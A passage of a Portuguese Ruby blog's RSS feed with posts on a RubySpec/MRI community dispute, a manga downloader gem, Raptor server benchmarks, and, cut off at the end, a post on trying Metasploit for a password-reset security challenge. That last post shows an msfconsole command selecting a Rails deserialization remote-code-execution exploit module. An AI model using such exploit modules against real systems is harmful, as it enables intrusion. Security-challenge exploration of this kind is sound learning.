]]></content:encoded><category>biografias</category><category>ruby</category><category>open-source</category></item><item><title>Começando o Ano com um Ruby Drama: RubySpec vs MRI Core Team</title><link>https://akitaonrails.github.io/2015/01/02/comecando-o-ano-com-um-ruby-drama-rubyspec-vs-mri-core-team/</link><guid isPermaLink="true">https://akitaonrails.github.io/2015/01/02/comecando-o-ano-com-um-ruby-drama-rubyspec-vs-mri-core-team/</guid><pubDate>Fri, 02 Jan 2015 12:10:00 -0200</pubDate><description>&lt;p&gt;A comunidade internacional de Ruby vira e mexe surge com alguns &amp;ldquo;dramas&amp;rdquo;. Toda comunidade tem seus &amp;ldquo;dramas&amp;rdquo;, mas os Ruby Dramas particularmente chamam a atenção das demais comunidades então de vez em quando vale a pena explorar alguns deles para explicar porque eles acontecem e quais as ramificações.&lt;/p&gt;
&lt;p&gt;No último dia de 2014, Brian Shirai soltou um post unilateral entitulado &lt;a href="http://rubini.us/2014/12/31/matz-s-ruby-developers-don-t-use-rubyspec/"target="_blank" rel="noopener"&gt;&amp;ldquo;Matz&amp;rsquo;s Ruby Developers Don&amp;rsquo;t Use RubySpec and It&amp;rsquo;s Hurting Ruby&amp;rdquo;&lt;/a&gt;, onde ele explica porque é ruim o Core Team do MRI não usar regularmente o projeto RubySpec, vale a pena dar uma lida.&lt;/p&gt;</description><content:encoded><![CDATA[<p>A comunidade internacional de Ruby vira e mexe surge com alguns &ldquo;dramas&rdquo;. Toda comunidade tem seus &ldquo;dramas&rdquo;, mas os Ruby Dramas particularmente chamam a atenção das demais comunidades então de vez em quando vale a pena explorar alguns deles para explicar porque eles acontecem e quais as ramificações.</p>
<p>No último dia de 2014, Brian Shirai soltou um post unilateral entitulado <a href="http://rubini.us/2014/12/31/matz-s-ruby-developers-don-t-use-rubyspec/"target="_blank" rel="noopener">&ldquo;Matz&rsquo;s Ruby Developers Don&rsquo;t Use RubySpec and It&rsquo;s Hurting Ruby&rdquo;</a>, onde ele explica porque é ruim o Core Team do MRI não usar regularmente o projeto RubySpec, vale a pena dar uma lida.</p>
<p>Como contexto, vale explicar que <a href="https://twitter.com/brixen"target="_blank" rel="noopener">Brixen</a> é quem herdou o manto da implementação Rubinius e também do projeto RubySpec, que tenta ser uma suíte de testes que define o comportamento do que é a &ldquo;linguagem Ruby&rdquo; para que implementações alternativas como o próprio Rubinius ou JRuby ou outras possam se basear. Os projetos originaram com Evan Phoenix, atual membro do Ruby Central e organizador das RailsConf. Digamos que Evan é mais &ldquo;politicamente correto&rdquo;, Brian é mais &ldquo;agressivo&rdquo;.</p>
<p>O problema é que o Brian basicamente &ldquo;joga a merda no ventilador e sai fora&rdquo;, que é o tipo de atitude mais infantil e menos efetivo possível. E vindo de um conhecido contribuidor open source como Brian, obviamente isso causou um shit-storm no Twitter e outras redes. Ele simplesmente &ldquo;acusa&rdquo; o Core Team do MRI de sabotar o RubySpec ao não usá-lo como ele gostaria. Um dos principais nomes que vieram para defender o Core Team foi <a href="https://twitter.com/headius/with_replies"target="_blank" rel="noopener">Charles Nutter</a>, que é contribuidor tanto do JRuby quanto do próprio MRI, alguns dos comentários mais interessantes e que explicam o ponto de vista do Core Team, eu cito abaixo:</p>
<blockquote>
@jamie_gaskins RubySpec was designed from the ground up. MRI's suite is decades old. What we need are people to help clean it up.
</blockquote>
<blockquote>
@josh_cheek And what of redoing over a decade of work in MRI's suite? It's there, it works, we use it to test JRuby. Don't buy the FUD.
</blockquote>
<blockquote>
@jamie_gaskins We use it as our primary compatibilty suite for JRuby. We also run RubySpec, but it's far less complete.
</blockquote>
<blockquote>
@josh_cheek I don't think anyone would disagree that MRI's suite needs improvement, but throwing it out is absurd.
</blockquote>
<blockquote>
@jamie_gaskins I also don't find MRI's tests hard to read. When I find ugly ones in the future, I will be fixing them. Help me :-)
</blockquote>
<blockquote>
Folks don't seem to realize JRuby runs MRI's test suite as our primary compatibility suite. It's not pretty, but it's OSS...help us fix it.
</blockquote>
<blockquote>
@jerrydantonio Please don't spread this kind of FUD. I know most of ruby-core personally and they've been very supportive of JRuby.
</blockquote>
<blockquote>
@jerrydantonio If they don't use RubySpec, it's because RubySpec did not meet their needs -- as stated in the article.
</blockquote>
<blockquote>
@jerrydantonio You are going based on what one person says without understanding the complexities involved.
</blockquote>
<blockquote>
@jamie_gaskins You can submit PRs to MRI's github/ruby/ruby mirror (which may turn into the main repo this year).
</blockquote>
<blockquote>
@jamie_gaskins If you start looking into it, copy me on your PRs. I'm a committer, and I can help get them in.
</blockquote>
<blockquote>
@jamie_gaskins Not at all, and ruby-core are all on board with switching to git now too. Like I said...that post is a massive dose of FUD.
</blockquote>
<blockquote>
Another reminder: I'm a member of the MRI core team and a committer. Got a problem? I'm listening. Let's collaborate, friends.
</blockquote>
<blockquote>
@samsaffron It doesn't matter if their suite serves their and our needs. It's aesthetics at that point. Aesthetics can be fixed.
</blockquote>
<blockquote>
@iainbeeston It just a political move. It's still alive and still OSS...if it's valuable to use it on MRI, we can still use it on MRI.
</blockquote>
<blockquote>
@zedshaw @mentalguy @raganwald The segfault was not reported. And yes, they fix bug reports. ruby-core is still almost all volunteer time.
</blockquote>
<blockquote>
@johnbender Don't take one article's assertions as truth. There's a lot of misinformation there.
</blockquote>
<blockquote>
@jc00ke @_zzak I'd like to know why RubySpec wins and MRI is at fault. Does Rubinius run MRI's suite, like JRuby?
</blockquote>
<blockquote>
@fugueish One person's story. I've been implementing Ruby longer and I have seen steady improvement. It's a community effort.
</blockquote>
<blockquote>
@josh_cheek And please don't spread FUD like this. There are real people working really hard on MRI. Help them instead.
</blockquote>
<blockquote>
@raganwald @codefolio @saturnflyer Indeed. But don't start saying things like "MRI devs don't write tests" because they usually do (now).
</blockquote>
<blockquote>
@chromatic_x The full run of MRI's suite on JRuby includes 5941 tests with 1091418 assertions (we exclude parts). They're indispensable.
</blockquote>
<blockquote>
@iainbeeston Either that, or it inspires ruby-core and us to improve MRI's suite. Positive things can come from a negative post. :-)
</blockquote>
<blockquote>
@chromatic_x In any case, MRI is the reference impl, so expecting them to drop their decades-old suite for someone else's is rather bold.
</blockquote>
<blockquote>
@headius Personally, I think that RubySpec is useful and valuable, but throwing MRI under the bus for not using a tool is pretty petty.
</blockquote>
<blockquote>
@r343l @sunnyrjuneja No, it doesn't. I don't agree with technical articles that don't take comments. Might as well be a press release.
</blockquote>
<blockquote>
Lesson for today: here's what you do when you find a bug in a project, rather than just blogging about it: https://bugs.ruby-lang.org/issues/10685 
</blockquote>
<p>Shyouhei Urabe, um dos principais voluntários japoneses do Core Team disse <a href="https://twitter.com/shyouhei/status/550557396376879104"target="_blank" rel="noopener">a coisa mais óbvia</a> logo que o post do Brian saiu:</p>
<blockquote>
Release of #ruby happens Dec. 25th EVERY YEAR.  If rubyspec found a SEGV, why didn't they report that and blame core devs instead?
</blockquote>
<p>Logo em seguida Nate Berkopec fez um apanhado geral e <a href="https://gist.github.com/nateberkopec"target="_blank" rel="noopener">uma explicação/especulação das razões</a> pelas quais o artigo de Brian Shirai está errado no que ele quer atingir.</p>
<p>Em resumo, existe uma grande frustração no time do Rubinius em geral. Ao contrário do JRuby que tem um nicho de usuários e projetos em produção onde ele faz diferença, o Rubinius em si nunca alcançou nenhum uso significativo. Em <a href="http://rubini.us/2013/10/15/introducing-rubinius-x/"target="_blank" rel="noopener">Outubro de 2013</a>, ele havia anunciado que o Rubinius começaria a experimentar mais e quebrar compatibilidade com o MRI o que, pra mim pelo menos, soa mais como um tiro no pé. Mas eles acharam que, por méritos técnicos, o Rubinius poderia ser o melhor substituto para o MRI. O controle do RubySpec leva nessa direção e por isso a frustração do Core Team nunca adotá-lo &ldquo;oficialmente&rdquo;.</p>
<p>Hoje (2/1/2015), o próprio Evan Phoenix resolveu endereçar o assunto pessoalmente no Twitter com o Matz, e eis a transcrição:</p>
<blockquote>
@evanphx 
1. I wonder if, all those years ago, I misunderstood Matz. Maybe "I like other ruby implementations" was really "I don't mind they exist"
</blockquote>
<blockquote>
@evanphx 
2. I thought it was "I want to help them" but Matz really didn't mean that. He just mean "good luck friends!"
</blockquote>
<blockquote>
@yukihiro_matz 
@evanphx Sorry for confusion & disappointment. I still don't know what kind of help you wanted. You do want to control your project as I do.
</blockquote>
<blockquote>
@evanphx 
@yukihiro_matz I should have asked: Could the CRuby team help track new features so other impls could know what they are missing.
</blockquote>
<blockquote>
@yukihiro_matz
@evanphx the MRI team maintains the forked version of RubySpec https://github.com/nurse/rubyspec  I think it can be a good start.
</blockquote>
<p>Existe muito mérito nos esforços que as pessoas contribuíram aos projetos Rubinius e RubySpec ao longo dos anos, porém eles falharam ao tentar forçar sua visão do que deveria ser &ldquo;o certo&rdquo; em vez de colaborar com o projeto que já existia muito antes deles chegarem que é o Ruby MRI. É como se você fizesse um kernel alternativo ao Linux e começasse a dizer nas listas por aí que o Linus Torvalds deveria seguir essa alternativa porque é o &ldquo;jeito mais certo&rdquo;. Sabe qual seria a resposta do Linus? &ldquo;Fuck You!&rdquo;. É que o Matz é <strong>bem</strong> mais educado do que isso, mas seria a resposta mais adequada a esse tipo de atitude.</p>
<p>Qual seria a alternativa? Charles Nutter já demonstrou: ele é ao mesmo tempo líder da implementação alternativa JRuby e também contribui diretamente no Ruby MRI. Ele roda as suítes do MRI e do RubySpec, em paralelo, no projeto JRuby. Não há atrito entre JRuby e MRI. Mas há atrito entre Rubinius e MRI. O problema não é técnico, não é sequer político como muitos declararam, é um problema de caráter e atitude. O problema é que o estilo do Core do Rubinius sempre foi &ldquo;somos os melhores, eventualmente todo mundo vai notar isso&rdquo;. Essa atitude é altamente destrutiva, frustrante e acaba com declarações suicidas como a do Brian Shirai.</p>
<p><a href="http://www.akitaonrails.com/2012/08/15/off-topic-o-mito-do-legado"target="_blank" rel="noopener">Uma coisa que eu sempre digo</a>: fazer um projeto green field (do zero) é muito fácil, qualquer criança faz isso. Agora, pegar um projeto brown field (velho, cheio de débitos técnicos), é bem mais complicado, bem menos recompensador a curto prazo e por isso poucos (só os melhores) conseguem a disciplina para tentar transformar um brown field num green field. O Rubinius e RubySpec são green fields que tentaram enfiar goela abaixo do Core Team. Não é assim que se prova um ponto de vista. Releia os comentários do Nutter acima, é o que ele tenta explicar.</p>
<p>E é uma pena, pois tecnicamente Brian e o Core Team do Rubinius são muito bons e seria bom ver esse talento dentro do MRI. Porém, entre ter alguém tecnicamente bom mas de caráter duvidoso, é melhor não ter. Essa sempre é a melhor alternativa.</p>
<p>Em resumo: nada muda do lado do Ruby MRI, não é nenhuma crise ou algo assim. O MRI deve continuar como sempre: com Matz como seu único ditador benevolente e talvez, com alguma boa vontade, eles permitam o projeto RubySpec ser incorporado dentro do MRI sob a tutela do Core Team do Japão, como deve ser.</p>
]]></content:encoded><category>ruby</category><category>testes</category><category>open-source</category></item><item><title>[Small Bites] Downloader para MangaReader (Kindle Edition)</title><link>https://akitaonrails.github.io/2014/12/17/small-bites-downloader-para-mangareader-kindle-edition/</link><guid isPermaLink="true">https://akitaonrails.github.io/2014/12/17/small-bites-downloader-para-mangareader-kindle-edition/</guid><pubDate>Wed, 17 Dec 2014 21:24:00 -0200</pubDate><description>&lt;p&gt;Acho que esta vai ser realmente a primeira small bite versão miniatura mesmo! :-)&lt;/p&gt;
&lt;p&gt;&lt;img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/476/IMG_20141216_162841251.jpg" alt="Kindle Paperwhite &amp;#43; Manga = Diversão" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Quem acompanha o blog faz tempo sabe que curto muito mangas/animes (me perguntem qualquer coisa, especialmente se for das décadas de 60 a 90). 4 anos atrás eu fiz um &lt;a href="http://www.akitaonrails.com/2010/07/31/downloader-para-onemanga-com#.VJIOdcZHnxg"target="_blank" rel="noopener"&gt;downloader&lt;/a&gt; para o antigo site OneManga (que fechou).&lt;/p&gt;
&lt;p&gt;Recentemente resolvi adquirir um Kindle Paperwhite (que aliás, é excepcional, principalmente se comparado ao último Kindle 2 que eu tive). E além de tudo é o formato perfeito para mangas (que são preto-e-branco por natureza).&lt;/p&gt;</description><content:encoded><![CDATA[<p>Acho que esta vai ser realmente a primeira small bite versão miniatura mesmo! :-)</p>
<p><img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/476/IMG_20141216_162841251.jpg" alt="Kindle Paperwhite &#43; Manga = Diversão"  loading="lazy" /></p>
<p>Quem acompanha o blog faz tempo sabe que curto muito mangas/animes (me perguntem qualquer coisa, especialmente se for das décadas de 60 a 90). 4 anos atrás eu fiz um <a href="http://www.akitaonrails.com/2010/07/31/downloader-para-onemanga-com#.VJIOdcZHnxg"target="_blank" rel="noopener">downloader</a> para o antigo site OneManga (que fechou).</p>
<p>Recentemente resolvi adquirir um Kindle Paperwhite (que aliás, é excepcional, principalmente se comparado ao último Kindle 2 que eu tive). E além de tudo é o formato perfeito para mangas (que são preto-e-branco por natureza).</p>
<p>Procurei ferramentas e achei vários horríveis, pra Windows. Então, por que não desenferrujar um pouco e fazer um pacote completo que baixa sua coleção completa de mangas e já gera um PDF otimizado pro tamanho do Kindle?</p>
<p>Aproveitei pra abusar um pouco do <a href="https://github.com/typhoeus/typhoeus"target="_blank" rel="noopener">Typhoeus</a> que usa a libcurl por baixo e permite fazer downloads paralelos. A única coisa que vai limitar o processo é a velocidade de banda do seu provedor de internet.</p>
<p>Sem enrolar mais, o código-fonte <a href="https://github.com/akitaonrails/manga-downloadr"target="_blank" rel="noopener">está no Github</a> ou instale diretamente a <a href="https://rubygems.org/gems/manga-downloadr"target="_blank" rel="noopener">gem</a>:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>gem install manga-downloadr</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>E para usar, navegue no site do <a href="http://www.mangareader.net"target="_blank" rel="noopener">MangaReader.net</a> escolha o manga que quiser e faça assim:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>manga-downloadr -n monster -u http://www.mangareader.net/99/monster.html -d /Users/akitaonrails/Documents/MangaReader</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>E pronto! Se acontecer alguma interrupção (a internet cair ou coisa parecida) só execute novamente o mesmo comando e ele vai continuar de onde parou. Boa diversão!</p>
<p>PS: Não preciso dizer que não funciona em Windows ;-)</p>
]]></content:encoded><category>anime-e-manga</category><category>ruby</category><category>automacao</category></item><item><title>O Novo Garoto da Pesada para Servidores Ruby: Raptor!</title><link>https://akitaonrails.github.io/2014/10/19/o-novo-garoto-da-pesada-para-servidores-ruby-raptor/</link><guid isPermaLink="true">https://akitaonrails.github.io/2014/10/19/o-novo-garoto-da-pesada-para-servidores-ruby-raptor/</guid><pubDate>Sun, 19 Oct 2014 15:00:00 -0200</pubDate><description>&lt;p&gt;&lt;em&gt;Atualização (25/11/2014):&lt;/em&gt; Finalmente podemos confirmar que sim, o tão aguardado projeto Raptor é o codinome para o próximo release do Phusion Passenger! Leia o &lt;a href="http://blog.phusion.nl/2014/11/25/introducing-phusion-passenger-5-beta-1-codename-raptor/"target="_blank" rel="noopener"&gt;anúncio&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Se você é um desenvolvedor web Ruby experiente, provavelmente já está acostumado e confortável usando os suspeitos de sempre para fazer deploy das suas aplicações. Ou você está fazendo deploy de algo simples através do bom e velho Thin, ou está orquestrando vários processos Ruby com workers do Unicorn, ou está experimentando JRuby para ter melhor concorrência e gerenciamento de threads, e por isso usa Puma ou Torquebox.&lt;/p&gt;</description><content:encoded><![CDATA[<p><em>Atualização (25/11/2014):</em> Finalmente podemos confirmar que sim, o tão aguardado projeto Raptor é o codinome para o próximo release do Phusion Passenger! Leia o <a href="http://blog.phusion.nl/2014/11/25/introducing-phusion-passenger-5-beta-1-codename-raptor/"target="_blank" rel="noopener">anúncio</a></p>
<p>Se você é um desenvolvedor web Ruby experiente, provavelmente já está acostumado e confortável usando os suspeitos de sempre para fazer deploy das suas aplicações. Ou você está fazendo deploy de algo simples através do bom e velho Thin, ou está orquestrando vários processos Ruby com workers do Unicorn, ou está experimentando JRuby para ter melhor concorrência e gerenciamento de threads, e por isso usa Puma ou Torquebox.</p>
<p>E mesmo parecendo que já chegamos ao topo do que é possível fazer com Ruby, queremos sempre mais. O Ruby 2.1.3 acabou de ser lançado, o 3.0 está em desenvolvimento. Mas até lá, ainda dá para espremer mais performance das suas máquinas.</p>
<p>Na verdade, um novo competidor, com algumas abordagens novas, acabou de aparecer. Tenho poucos detalhes até agora, mas é um produto totalmente novo - não é derivado dos outros - de um time desconhecido. Esse produto se chama <a href="http://www.rubyraptor.org"target="_blank" rel="noopener">&ldquo;Raptor&rdquo;</a> e eles afirmam que conseguem espremer ainda mais suco das nossas máquinas.</p>
<p>E é essa a alegação deles:</p>
<p><img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/475/chart-1.png" alt="Raptor Chart"  loading="lazy" /></p>
<p>Felizmente, tive a chance de experimentar o release beta num ambiente Vagrant controlado e checar essas alegações! Tenha em mente que esses são benchmarks sintéticos e o throughput do mundo real, com aplicações reais, deve nos dar comportamentos diferentes. Dito isso, vamos ver como os principais servidores Ruby se saem rodando uma aplicação Rack bem simples que devolve um HTTP 200 com &ldquo;Hello World&rdquo;:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code> ==&gt; Benchmark parameters:
     Application         : hello_app
     Operating system    : Ubuntu 14.04 LTS (x86_64)
     Virtual CPU cores   : 4
     MRI Ruby            : ruby 2.1.3p242 (2014-09-19 revision 45877) [x86_64-linux-gnu]
     JRuby               : jruby 1.7.13 (1.9.3p392) 2014-06-24 43f133c on OpenJDK 64-Bit Server VM 1.7.0_65-b32 [linux-amd64]

     Unicorn workers     : 8
     Puma workers (MRI)  : 8 (16 threads each)
     Puma workers (JRuby): 1 (32 threads each)
     Torquebox threads   : 32
     Raptor workers      : 8

     Concurrent clients  : 16

 ==&gt; Benchmark summary:
     Unicorn (MRI Ruby)         : 23015.36 req/sec
     Puma (MRI Ruby)            : 32538.62 req/sec
     Puma (JRuby)               : 399.14 req/sec
     Torquebox (JRuby)          : 29773.21 req/sec
     Raptor (MRI Ruby)          : 95309.35 req/sec
     Raptor (JRuby)             : 87523.65 req/sec</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Bom, isso soa bem impressionante! E quanto a um exemplo mais complexo: uma aplicação Rails 4.1.6 simples renderizando uma página index de scaffold padrão com um model buscando 20 linhas do MySQL:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>==&gt; Benchmark summary:
    Unicorn (MRI Ruby)         : 326.49 req/sec
    Puma (MRI Ruby)            : 327.36 req/sec
    Puma (JRuby)               : 221.78 req/sec
    Torquebox (JRuby)          : 226.57 req/sec
    Raptor (MRI Ruby)          : 79617.78 req/sec
    Raptor (JRuby)             : 73948.59 req/sec</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>De novo, <strong>super</strong> impressionante. Minha primeira impressão ao ler esses números é que o Raptor deve ter cache de resposta embutido (o que é ótimo!). Então mexi no exemplo para deixá-lo bem mais pesado do que é considerado &ldquo;normal&rdquo; para um cache pequeno, renderizando uma tabela de 100 linhas vinda do banco na página index, e os resultados continuam competitivos:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>==&gt; Benchmark summary:
    Unicorn (MRI Ruby)         : 85.98 req/sec
    Puma (MRI Ruby)            : 89.93 req/sec
    Puma (JRuby)               : 79.42 req/sec
    Torquebox (JRuby)          : 77.98 req/sec
    Raptor (MRI Ruby)          : 82.63 req/sec
    Raptor (JRuby)             : 88.92 req/sec</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Isso pode significar que, no melhor cenário, você consegue quase <strong>4 vezes</strong> o throughput da sua aplicação, e no pior cenário, ainda obtém throughputs similares. Quer dizer que o Raptor é adaptável e razoavelmente &ldquo;esperto&rdquo;. No geral, é uma situação ganha-ganha!</p>
<p>A forma como eles conseguem esses números superiores pode ser explicada pelo jeito como abordaram a implementação. Esse é o resumo que eles divulgaram até agora:</p>
<ul>
<li><strong>Proteção contra clientes lentos</strong>: Clientes lentos na Internet podem travar sua aplicação, como pessoas paradas na frente da sua porta. O Unicorn tem uma única porta pequena, então <a href="http://unicorn.bogomips.org/PHILOSOPHY.html"target="_blank" rel="noopener">exige</a> que você coloque um proxy reverso com buffer na frente, como o Nginx. O Puma tem tantas portinhas quantas threads você configurar, então você ainda precisa colocar o Nginx na frente para ficar seguro. Mas o Raptor tem uma porta praticamente infinita em largura, e protege totalmente sua aplicação contra clientes lentos sem precisar de software adicional.</li>
<li><strong>Integração opcional com Nginx</strong>. O Nginx é um ótimo servidor web e oferece recursos úteis como compressão, segurança, etc. Mas usar Puma e Unicorn com Nginx exige que você configure Puma/Unicorn separadamente, configure o Nginx separadamente, configure o monitoramento separadamente e gerencie cada componente separadamente. Não faz mais sentido consolidar todas essas peças em um único pacote? Aí entra o modo de integração opcional do Raptor com Nginx: configuração, gerenciamento e monitoramento de daemons direto do Nginx.</li>
<li><strong>Multitenancy</strong>. Se você roda múltiplas aplicações no mesmo servidor, gerenciar todas essas instâncias de Puma e Unicorn rapidamente vira uma chatice. O modo de integração com Nginx do Raptor permite gerenciar todas as suas aplicações a partir de uma única instância do Nginx.</li>
<li><strong>Segurança</strong>. Melhore a segurança do seu servidor rodando facilmente várias aplicações sob contas de usuário diferentes. Assim, uma vulnerabilidade em uma aplicação não afeta todas as outras.</li>
<li><strong>Suporte a JRuby</strong>. Como o Puma (e diferente do Unicorn), o Raptor tem ótimo suporte a JRuby.</li>
</ul>
<p>Então é uma implementação diferente e também traz recursos para o futuro, suportando o tratamento transparente de clientes lentos sem causar gargalos na sua aplicação e evitando ter camadas extras de proteção. E tudo num pacote fácil de usar (segundo o release deles: você vai poder substituir seu servidor atual no Gemfile e rodar bundle install!)</p>
<p>O Raptor está prestes a ser lançado, então fique ligado para mais notícias e para quando estiver disponível para todo mundo testar suas aplicações. Pelo que vimos até agora, esse aqui parece um vencedor!</p>
<p>Vá ao <a href="http://www.rubyraptor.org"target="_blank" rel="noopener">site deles</a> para saber mais e, se você é como eu e acha que isso é a coisa real, <a href="https://www.thunderclap.it/projects/17748-raptor-fast-ruby-web-server"target="_blank" rel="noopener">dê um Thunderclap!</a></p>
<p><img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/473/raptor_square.png" alt="Raptor"  loading="lazy" /></p>
]]></content:encoded><category>performance</category><category>rails</category><category>ruby</category></item><item><title>[Small Bite] Brincando com Metasploit</title><link>https://akitaonrails.github.io/2014/08/27/small-bite-brincando-com-metasploit/</link><guid isPermaLink="true">https://akitaonrails.github.io/2014/08/27/small-bite-brincando-com-metasploit/</guid><pubDate>Wed, 27 Aug 2014 14:03:00 -0300</pubDate><description>&lt;p&gt;Ontem o &lt;a href="https://twitter.com/joernchen"target="_blank" rel="noopener"&gt;@joernchen&lt;/a&gt; mandou um pequeno &lt;a href="https://twitter.com/joernchen/status/504304803045208064"target="_blank" rel="noopener"&gt;desafio básico de segurança&lt;/a&gt; pra comunidade. Ele postou um código de uma pequena aplicação, colocou ela no ar, e nos desafiou a resetar a senha do administrador.&lt;/p&gt;
&lt;p&gt;Confesso que demorei mais do que gostaria mas no fim eu consegui - e foi simples (post sobre isso vem depois).&lt;/p&gt;
&lt;p&gt;No caminho eu acabei explorando o &lt;a href="http://www.metasploit.com"target="_blank" rel="noopener"&gt;Metasploit&lt;/a&gt;, provavelmente um dos melhores e mais conhecidos pacotes de testes de penetração de segurança. E alguns não sabem disso mas ele não só é código-aberto (existem ferramentas e serviços pagos) como é uma aplicação Rails! Então vale muito a pena acompanhar esse projeto.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Ontem o <a href="https://twitter.com/joernchen"target="_blank" rel="noopener">@joernchen</a> mandou um pequeno <a href="https://twitter.com/joernchen/status/504304803045208064"target="_blank" rel="noopener">desafio básico de segurança</a> pra comunidade. Ele postou um código de uma pequena aplicação, colocou ela no ar, e nos desafiou a resetar a senha do administrador.</p>
<p>Confesso que demorei mais do que gostaria mas no fim eu consegui - e foi simples (post sobre isso vem depois).</p>
<p>No caminho eu acabei explorando o <a href="http://www.metasploit.com"target="_blank" rel="noopener">Metasploit</a>, provavelmente um dos melhores e mais conhecidos pacotes de testes de penetração de segurança. E alguns não sabem disso mas ele não só é código-aberto (existem ferramentas e serviços pagos) como é uma aplicação Rails! Então vale muito a pena acompanhar esse projeto.</p>
<p>O @joernchen já <a href="https://github.com/rapid7/metasploit-framework/commits?author=joernchen"target="_blank" rel="noopener">contribuiu no código</a> do Metasploit incluindo o famigerado exploit para <a href="https://github.com/rapid7/metasploit-framework/commit/7f3eccd64453c3708ad4cb7ed7a6ea18354bac3d"target="_blank" rel="noopener">Remote Code Execution no Rails</a> (calma, as versões novas já não tem mais isso!)</p>
<p>Instalar o Metasploit no seu sistema é simples. Este <a href="http://www.darkoperator.com/installing-metasploit-in-ubunt/"target="_blank" rel="noopener">blog post</a> descreve como. Ele começa falando para baixar um script que faz tudo mas, se você usa RVM ou RBenv ou não usa Ubuntu, faça na mão, é mais simples. Não vou repetir o que já está no post então acompanhe lá.</p>
<p>No final, você deve ter o metasploit instalado e com o comando <tt>msfconsole</tt> a partir de onde já dá pra começar a brincar. Por exemplo, uma das coisas que eu tentei ver foi se o aplicativo do desafio sofria o problema de remote code execution que mencionei acima, pra isso, uma vez dentro do console eu fiz:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>msf exploit(rails_json_yaml_code_exec) &gt; use exploit/multi/http/rails_secret_deserialization
